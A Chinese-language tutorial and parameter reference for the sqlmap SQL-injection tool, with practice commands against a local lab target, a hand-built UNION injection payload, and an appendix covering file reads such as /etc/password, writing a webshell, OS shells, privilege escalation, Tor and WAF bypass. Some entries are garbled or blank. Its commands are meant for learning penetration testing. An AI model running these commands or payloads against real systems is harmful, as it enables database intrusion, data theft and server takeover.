本文学习SQLMAP工具的使用。
以及附录的SQLMAP参数百科全书。
一、SQLMAP介绍
SQLMAP是一种开源渗透测试工具,可自动执行SQL注入缺陷的检测和开发过程,并接管数据库服务器。它有强大的检测引擎,针对不同类型的数据库提供多样的渗透测试功能选项,实现数据库识别、数据获取、访问DBMS\操作系统甚至通过带外数据连接的方式执行操作系统的命令。以及从数据库指纹识别、从数据库获取数据、访问底层文件的广泛范围的交换机通过带外连接在操作系统上执行命令。
SQLMAP支持的数据库:MySQL, Oracle,PostgreSQL,Microsoft SQL Server, Microsoft Access, IBM DB2, SQLite, Firebird,Sybase和SAP MaxDB等数据库。
SQLMAP目前支持的注入方式:
- B:布尔型注入(Boolean-base blind SQL injection)
- E:报错型注入(Error-based SQL injection)
- U:可联合查询注入(UNION query SQL injection)
- S:可多语句查询植入(Stacked queries SQL injection)
- T:基于时间延迟注入(Time-base blind SQL injection)
- Q:内联注入(Inline SQL injection)
SQLMAP功能模块
| 目标 | 至少为目标提供一选项 |
|---|---|
| 请求(Request) | 指定如何连接目标URL的方法 |
| 优化(Optimization) | 优化SQLMAP的性能 |
| 注入(Injection) | 指定测试哪些参数,提供注入Payload和篡改脚本 |
| 侦测(Detection) | 侦测阶段的定制化 |
| 技巧(Techniques) | 调整特定SQL注入技术的技巧 |
| 枚举(Enumeration) | 枚举后端数据库管理系统信息、数据表的数据接口 |
| 暴力执行(Brute Force) | 暴力检查 |
| 用户定义注入函数(User-defined Function Injection) | 建立用户定义函数 |
| 访问文件系统(File System Access) | 访问后端数据库管理系统的底层文件系统 |
| 操作系统连接(Operating System Access) | 连接后端DBMS底层的操作系统 |
| Windows注册表连接(Windows Registry Access) | 连接后端DBMS底层的Windows注册表 |
| 通用(General) | 设置一些通用参数 |
二、SQLMAP下载与安装
SQLMAP下载地址:http://sqlmap.org/
查看SQLMAP是否安装 python3 sqlmap.py -h 如下图则已完成SQLMAP工具安装

三、SQLMAP命令练习
命令拆解
python sqlmap.py -u "http:127.0.0.1:8999/Less-1/?id=1" -user-agent=websecurity -threads=5 -p id --level --technique=E --current=user --flush-session --beep

python sqlmap.py -u "http:127.0.0.1:8999/Less-1/?id=1"


SQLMAP注入流程

SQLMAP注入技巧
需要用到*的情况:
- URL中的值,SQLMAP默认不注入,需要
*指定 - JSON格式,SQLMAP会无效,需要
*才能进行 - 在默认Level=1时,可以使用
*对特定的请求头做注入
命令1:python sqlmap.py -u http://127.0.0.1:8999/Less-1/?id=*1 --flush-session --batch --technique=B
命令2:python sqlmap.py -u http://127.0.0.1:8999/Less-1/?id=1* --flush-session --batch --technique=B
如果不指定user-agent时,将会带有sqlmap标记。
prefix和suffix
修改Less-1源代码

手动构造注入语句:
http://127.0.0.1:8999/Less-1/?id=id=-4436)))) UNION ALL SELECT NULL,CONCAT(0x716b627171,current_user(),0x717a627671),NULL--+

利用SQLMAP工具注入:
python sqlmap.py -u http://127.0.0.1:8999/Less-1/?id=1 --flush-session --batch --technique=U
无法得到注入点

需要使用--prefix和--suffix来使得语句的闭合,保证正常的Payload注入
–prefix -> )))) 闭合前面的符号
–suffix -> –hhh 注释、闭合后面的数据
python sqlmap.py -u http://127.0.0.1:8999/Less-1/?id=1 --flush-session --batch --technique=U --prefix="))))" --suffix="-- hh"

payload检测原理
Payload中几个常用参数
- –no-cast cast() 关闭cast函数的使用
- –np-escape char() 关闭char() 减少载荷,加快效率
- –hex() 有时候字符编码问题可能会导致数据缺失,可以用hex()函数来避免

risk和level
level是测试范围,risk是语句深度
两者都会影响Payload的测试量,值越大,量越大。
level解释:高等级level会包含低等级level的测试
- level>=2时,会测试cookie
- level>=3时,会测试user-agent,referer
- level>=5时,会测试HOST
risk解释:高等级risk会包含低等级risk的测试
- 1 默认,会测试大部分的测试语句
- 2 会加上基于事件的测试语句
- 3 会增加OR语句的SQL注入测试
附录:SQLMAP Wiki
对上述提到了十二个SQLMAP功能模块,我们从实战的角度将功能重新分成Options、Target、Request、Optimization、Injection、Detection、Techniques、Fingerprint、Enumeration、Brute Force、User-defined Function Injection、File System Access、Operating System Access、Windows Registry Access、General、Miscellaneous共十六个模块来讲解。
(部分参数未能理解含义,见谅。若对参数有别的见解可以联系我呀!!!)
3.1 Options(选项)
| 参数 | 解释 |
|---|---|
| -h-hh | 查看帮助 |
| –version | 查看版本 |
| -v | 显示信息级别,共有六级:0.只显示Python错误和一些严重信息 1.显示基本信息(默认)2.显示Debug信息 3.显示注入过程的Payload 4.显示HTTP包请求 5.显示HTTP响应头 6.显示HTTP响应页面 |
3.2 Target(目标)
这些选项可用于指定连接何种目标(数据库、URL、文件)。
| 参数 | 解释 |
|---|---|
| -d | 直接连接目标后端数据库,并不使用SQL注入漏洞,通过目标端口侦听实现。需要注意的是输入目标数据库的账号与密码。例如-d "mysql;//username;password@127.0.01:3306/databasename" --dbs |
| -u | 指定URL连接。例如-u "www.implanck.com/index.php?id=1" |
| -l | SQLMAP扫描log文件中所有记录。例如-l log.txt |
| -x | 站点地图,返回给SQL一个XML文件 |
| -m | 提供包含URL的TXT文件,SQLMAP会自动化检查其中所有URL。例如-m target.txt |
| -r | 提供包含POST请求方式的数据包的TXT文件,SQLMAP会通过POST方式检测目标。例如-r post.txt |
| -g | 使用Google搜索类似的网站。例如-g "inurl:\".php?id=1\"" |
| -c | 提供命令的TXT文件,让SQLMAP执行文件中的命令。也可以配合--sava命令将结果写入文件。 |
3.3 Request(请求)
这些选项可用于指定如何连接到目标 URL。
| 参数 | 解释 |
|---|---|
| –method=METHOD | 指定利用GET方法还是POST方法。例如--method=GET或--method=POST |
| –data=DATA | 指定后接参数(POST型)。例如-u "www.implanck.com/index.php" --data="id=1" union select 1,2,3" |
| –param-del=PARA | 指定使用的变量分隔符。例如-u "www.implanck.com/index.php?id=1" data="name=1;pass=2" --para-del=";" |
| –cookie=COOKIE | 指定使用的cookie。例如-u "www.implanck.com/index.php?id=1" --cookie="a=1;b=2" |
| –cookie-del=COO.. | 与–param-del=PARA类似,不再赘述。 |
| –load-cookies=L.. | 从Netscape/wget格式的cookie文件中加载cookie |
| –drop-set-cookie | SQLMAP默认开启set-cookie功能(当收到一条含有set-cookie的HTTP包时,下次SQL会使用新的cookie进行发包)。如果使用这条命令则关闭此功能。 |
| –user-agent=AGENT | 指定user-agent值测试。SQLMAP默认会使用自己的user-agent值(SQLMAP自身user-agent为sqlmap/1.0-dev-nongit-201603020a89(http://sqlmap.org))进行测试。例如--user-agent="aaaaaa" |
| –random-agent | 使用随机user-agent值测试。可在sqlmap/data/txt/user-agents.txt中查看。 |
| –host=HOST | 指定HTTP包中的HOST头参数。例如--host="aaaaa" |
| –referer=REFERER | 指定HTTP包中的referer字段。例如--referer="aaaaa" |
| -H –headers | 额外的headers头。例如--headers="www.implanck.com\nUser-Agent:planck" |
| –headers=HEADERS | 同上面(注意构造HTTP包区分大小写)。另一个例子--headers="Accept-Language:fr\nTag:213" |
| –auth-type=AUTH.. | 基于HTTP身份验证的种类(共有三种认证方式)。例如--auth-type Basic.Digest/NTLM |
| –auth-cred=AUTH.. | 使用认证。例如--auth-type Basic --auth-cred "user:password" |
| –auth-file=AUTH.. | 使用.PEM文件认证。例如--auth-file="AU.PEM" |
| –ignore-code=IG.. | 无视响应HTTP状态码。例如--ignore-code=401 |
| –ignore-proxy | 无视本地设置的代码。 |
| –ignore-redirects | 无视HTTP重定向(状态码为3XX类型)。可以使用这个忽略登录成功会跳转到其他网页。 |
| –ignore-timeouts | 无视连接超时 |
| –proxy=PROXY | 设置代理。方便BurpSuite抓包。例如--proxy="127.0.0.1:8080" |
| –proxy-cred=PRO.. | 代理需要认证。例如--proxy="name:password" |
| –proxy-file=PRO.. | 使用文件加载代理 |
| –tor | 可用来屏蔽一个互联网用户的IP地址,允许匿名浏览。 |
| –tor-port=TORPORT | 设置默认的匿名浏览端口 |
| –tor-type=TORTYPE | 设置匿名浏览代理种类 |
| –check-tor | 检查是否正确使用匿名浏览 |
| –delay=DELAY | 每次发包的延时时间,单位为秒。例如--delay 2.5 |
| –timeout=TIMEOUT | 设置请求超时时间,默认为30秒 |
| –retries=RETRIES | 设置超时重连次数,默认为3。例如--retries=5 |
| –randomize=RPARAM | 设置随机参数长度(保证类型与输入值一致的情况下)。为了避免反复提交同一个参数引起服务器怀疑。 |
| –safe-url=SAFEURL | 与-u类似,额外功能是防止长时间不通讯服务器销毁session,开启这种功能会隔一段时间发一个包保持session |
| –safe-post=SAFE.. | 同上。以POST形式发送 |
| –safe-req=SAFER.. | 同上。从一个文件获取目标 |
| –safe-freq=SAFE.. | 频繁发送错误请求,服务器会销毁session。开启此参数后,发几次错误的就会有发一次对的。适用于盲注 |
| –skip-urlencode | 跳过URL编码。(有些网站URL不遵守RFC标准编码) |
| –csrf-token=CSR.. | 保持CSRF令牌的token |
| –csrf-url=CSRFURL | 访问URL地址时获取CSRF的token |
| –force-ssl | 强制使用SSL |
| –hpp | |
| –eval=EVALCODE | 指定执行一段Python代码。例如-u "www.test.com/index.php?id=1" -eval="import hashlib;hash=hashlib.md5(id).hexdigest()" |
3.4 Optimization(优化)
这些选项可用于优化SQLMAP的性能。
| 参数 | 解释 |
|---|---|
| -o | 开启--predict-output、--keep-alive、--null-connection功能 |
| –predict-output | 根据服务器返回值来猜测一个数据表存不存在。(与暴力破解不同的是在一个范围内慢慢缩小暴力破解范围) |
| –keep-alive | 使用HTTP长链接,优点:性能更好,避免重复建立链接的开销;缺点:占用服务器资源。(注意:与–proxy不兼容) |
| –null-connection | 分析返回报文页面的Length值,通常用于(时间延迟&布尔)盲注。 |
| –threads=THREADS | 开启多线程,线程数为1-10。(注意:与–predict-output不兼容) |
3.5 Injection(注入)
这些选项可用于指定需要测试的参数,并提供自定义注入脚本和可选的篡改脚本。
| 参数 | 解释 |
|---|---|
| -p TESTPARAMETER | 指定测试的参数(使用此参数会使得--level参数无效)。例如-p "user-agent,referer" |
| –skip=SKIP | 排除指定的参数。例如--level 5 --skip="id,user-agent" |
| –skip-static | 跳过测试静态参数 |
| –param-exclude=.. | 使用正则表达式跳过测试参数 |
| –dbms=DBMS | 指定目标数据库类型。例如--dbms="MySQL<5.0>/Oracle<lli>/Microsoft SQL Server<2005>" |
| –dbms-cred=DBMS.. | 数据库的登录认证。例如--dbms-cred="name:passwd" |
| –os=OS | 指定目标操作系统。例如--os="Linux/Windows" |
| –invalid-bignum | 通常情况下SQLMAP使用负值使得参数失效(id=-1)。开启这条参数后使用大数来失效(id=9999999999)。 |
| –invalid-logical | 利用逻辑运算符使得参数失效。例如id=1 and 1=2(and后面失效) |
| –invalid-string | 利用随机字符串使得参数失效 |
| –no-cast | 获取数据时,SQLMAP将所有数据转换成字符串(空格使用NuLL代替)。 |
| –no-escape | 用于混淆和避免出错(单引号可能会被过滤机制拦截),SQLMAP使用char()编码。例如select "a"–>select char(97) |
| –prefix=PREFIX | 指定Payload前缀(有时候我们猜到了服务器代码闭合情况,需要使用这个来指定)。例如-u "www.implanck/com/index.php?id=1" -p id --prefix")" --suffix "and ('abc'='abc" |
| –suffix=SUFFIX | 同上 |
| –tamper=TAMPER | 使用SQLMAP自带的tamper,或者自己写的tamper,来混淆Payload。通常用来绕过WAF和IPS。 |
3.6 Detection(侦测)
这些选项可用于在侦测阶段时的自定义内容。
| 参数 | 解释 |
|---|---|
| –level=LEVEL | 设置测试等级(1-5,默认为1) lv2:cookie; lv3:user-agent,referer; lv5:host。具体的Payload可以在sqlmap/data/xml/payloads文件夹里查看。 |
| –risk=RISK | 风险(1-4,默认为1)升高风险等级会增加数据被篡改的风向 risk2:基于事件的测试 ;risk3:or语句的测试 ;risk4:update的测试 |
| –string=STRING | 指定字符串参数为判断结果真。(在基于布尔注入中,有时候返回的页面一次一个样,需要我们自己判断返回正确页面的标志,于是就设置返回正确页面的字符串) |
| –not-string=NOT.. | 同上。指定NULL为真。 |
| –regexp=REGEXP | 同上。指定正则表达式来判断。 |
| –code=CODE | 指定HTTP返回码为判断结果真 |
| –text-only | 指定页面内一段文本内容为判断结果真 |
| –titles | 指定页面标题为判断结果真 |
3.7 Techniques(技巧)
这些选项可用于选取特定 SQL 注入技术。
| 参数 | 解释 |
|---|---|
| –technique=TECH | 指定所使用的技术(B:布尔盲注、E:报错注入、U:联合查询注入、S:文件系统,操作系统,注册表相关注入、T:时间延时盲注。默认全部使用) |
| –time-sec=TIMESEC | 在基于时间延迟盲注时,指定判断时间,默认5秒(单位为秒) |
| –union-cols=UCOLS | 联合查询尝试列数。(类似于ORDER BY x),随着level增加,最多支持50列。例如--union-cols 6-9 |
| –union-char=UCHAR | 联合查询默认使用的站列的是NULL,有的时候NULL可能会失效,因此可以手动指定其他字符。例如--union-char 1 |
| –union-from=UFROM | 联合查询从之前的查询结果中选择列 |
| –dns-domain=DNS.. | 指定DNS服务器来提升效率。例如--dns-domain abc.com |
在某个页面注入的结果在另一个页面展示。例如--second-order www.implanck.com/a.php |
3.8 Fingerprint(指纹)
| 参数 | 解释 |
|---|---|
| -f, –fingerprint | 指纹信息,返回DBMS,操作系统,架构,补丁等信息 |
3.9 Enumeration(枚举)
这些选项可用于枚举表中后端数据库管理系统信息、结构和数据。
| 参数 | 解释 |
|---|---|
| -a, –all | 暴力查找全部 |
| -b, –banner | 返回数据库管理系统的标识 |
| –current-user | 返回当前用户 |
| –current-db | 返回当前数据库 |
| –hostname | 返回主机名 |
| –is-dba | 检测 DBMS 当前用户是否为 DBA(数据库管理员) |
| –users | 返回所用用户名 |
| –passwords | 返回用户密码的哈希值 |
| –privilege | 列举当前用户的权限(通过用户权限可以判断是否为管理员)。例如--privileges U root |
| –roles | 列举当前用户权限 |
| –dbs | 返回目标服务器中数据库信息 |
| –tables | 返回目标数据库中数据表信息 |
| –columns | 返回目标数据表中列字段信息 |
| –schema | 返回目标服务器中所有(数据库、数据表、列字段)信息 |
| –count | 返回查询结果的个数 |
| –dump | 返回指定范围的所有信息。例如-D security -T users --dump |
| –dump-all | 返回所有信息。 |
| –search | 搜索数据库、数据表和列字段的名称 |
| –comments | 检索数据库的备注 |
| -D DB | 查询指定某个数据库数据 |
| -T TBL | 查询指定某个数据表数据 |
| -C COL | 查询指定某个列字段数据 |
| -X EXCLUDE | 指定数据库的标识符 |
| -U USER | 指定用户(通常与其他参数联合使用) |
| –exclude-sysdbs | 排除系统数据库 |
| –pivot-column=P.. | |
| –where=DUMPWHERE | 在dump时使用where条件限制 |
| –start=LIMITSTART | |
| –stop=LIMITSTOP | |
| –first=FIRSTCHAR | |
| –last=LASTCHAR | |
| –sql-query=QUERY | 执行SQL语句 |
| –sql-shell | 创建一个SQL的shell |
| –sql-file=SQLFILE | 执行给定文件中的SQL语句 |
3.10 Brute Force(暴力执行)
这些选项可用于暴力检查。
| 参数 | 解释 |
|---|---|
| –common-tables | 检查整个数据库中有没有记录信息的数据库/表。(在MySQL>=5.0时,名为information_schema的数据表,存储了整个数据库的基本信息) |
| –common-columns | 检查整个数据库中有没有记录列字段信息的公共表。 |
3.11 User-defined Function Injection(用户定义注入函数)
这些选项可用于用户定义注入函数。
| 参数 | 解释 |
|---|---|
| –udf-inject | |
| –shared-lib=SHLIB |
3.12 File System Access(访问文件系统)
这些选项可用于访问后端数据库管理系统的文件系统。
| 参数 | 解释 |
|---|---|
| –file-read=RFILE | 读取目标站点的文件。例如--file-read="/etc/password" |
| –file-write=WFILE | 写入目标站点的文件(通常与–sql-query联合使用,使用相对路径)。例如--sql-query="select "一句话木马" --file-write="shell.php" |
| –file-dest=DFILE | 同上。使用绝对路径。 |
3.13 Operating System Access(操作系统连接)
这些选项可用于访问底层操作系统的后端数据库管理系统。
| 参数 | 解释 |
|---|---|
| –os-cmd=OSCMD | 执行系统命令。例如--os-shell="ipconfig -all" |
| –os-shell | 执行远程系统命令(在目标站点操作系统上的Shell) |
| –os-pwn | 同上。获取一个OOB shell、meterpreter、VNC。 |
| –os-smbrelay | 同上。一键获取获取一个OOB shell、meterpreter、VNC。 |
| –os-bof | 利用缓冲区溢出。 |
| –priv-esc | 自动提权。 |
| –msf-path=MSFPATH | 查看Metasploit Framework本地的安装路径。 |
| –tmp-path=TMPPATH | 远程临时文件目录的绝对路径 |
3.14 Windows Registry Access(Windows注册表连接)
这些选项可用于访问后端数据库管理系统的Windows注册表。
| 参数 | 解释 |
|---|---|
| –reg-read | 读取一个Windows注册表 |
| –reg-add | 添加一个Windows注册表 |
| –reg-del | 删除一个Windows注册表 |
| –reg-key=REGKEY | 与–reg-add连用,注册表key值 |
| –reg-value=REGVAL | 与–reg-add连用,注册表值 |
| –reg-data=REGDATA | 与–reg-add连用,注册表数据 |
| –reg-type=REGTYPE | 与–reg-add连用,注册表类别 |
3.15 General(通用)
这些选项可用于设置一些常规的测试参数。
| 参数 | 解释 |
|---|---|
| -s SESSIONFILE | 从一个文件加载保存的session |
| -t TRAFFICFILE | 记录流文件的保存位置 |
| –batch | 批处理。在检测过程中有一些咨询问题,使用默认值答复。 |
| –binary-fields=.. | 指定二进制结果的字段 |
| –check-internet | 在评估目标之前检查互联网连接 |
| –crawl=CRAWLDEPTH | 初始位置爬虫的深度。例如--crawl=3 |
| –crawl-exclude=.. | 全部页面爬取除了…。例如--crawl-exclude="test.com/logout.php" |
| –csv-del=CSVDEL | 指定在CSV输出中使用的分隔字符 |
| –charset=CHARSET | 强制字符串编码。例如--charset=gbk |
| –dump-format=DU.. | 转存数据的格式。(默认CSV、HTML、SQLITE三种格式) |
| –encoding=ENCOD.. | 用于数据检索的字符编码。 |
| –eta | 显示每个输出的预计到达时间 |
| –flush-session | 清空会话信息 |
| –forms | 在目标URL上解析和测试表单 |
| –fresh-queries | SQLMAP每次将查询结果存在.sqlmap文件夹中,若下次有相同的查询则直接调用上次的结果。使用这个参数忽略之前查询结果 |
| –har=HARFILE | 将HTTP流量记录在一个HAR文件 |
| –hex | DUMP非ASCII字符时,将其编码为16进制,收到后解码环境。 |
| –output-dir=OUT.. | 输出结果至文件。例如--ouput-dir=/tmp |
| –parse-errors | 解析并显示报错文件 |
| –save=SAVECONFIG | 过滤信息 |
| –scope=SCOPE | |
| –test-filter=TE.. | |
| –test-skip=TEST.. | |
| –update | 检查更新SQLMAP |
3.16 Miscellaneous(杂项)
这些选项可用于不适合上述任何类别的一些杂项。
| 参数 | 解释 |
|---|---|
| -z MNEMONICS | 参数助记符,类似于alias。例如-z "abc" |
| –alert=ALERT | 找到SQL注入时运行主机OS命令。 |
| –answers=ANSWERS | 设置问题答案。在--batch选择的是默认值,可以使用参数对特定问题设定特定答案。例如--answer "extending=N"。 |
| –beep | 在SQL注入被发现时发出嘟嘟声。 |
| –cleanup | 从SQLMAP特定的UDF和表中找数据库。(暴力破解) |
| –dependencies | 检查缺少的SQL映射依赖项。 |
| –disable-coloring | 禁止输出着色。 |
| –gpage=GOOGLEPAGE | |
| –identify-waf | 识别目标的WAF机制 |
| –mobile | 模拟手机 |
| –offline | 离线运行 |
| –purge-output | 删除所有保存的数据文件夹 |
| –skip-waf | 跳过WAF/IPS/IDS保护的启发式检测 |
| –smart | 当有大量检测目标时,只选择基于错误的检测 |
| –sqlmap-shell | 打开交互式的SQLMAP-Shell |
| –tmp-dir=TMPDIR | 更改临时存储文件的本地目录 |
| –web-root=WEBROOT | 设置Web服务器文档根目录。例如--web-root="/var/www" |
| –wizard | 新手教程(挺有趣) |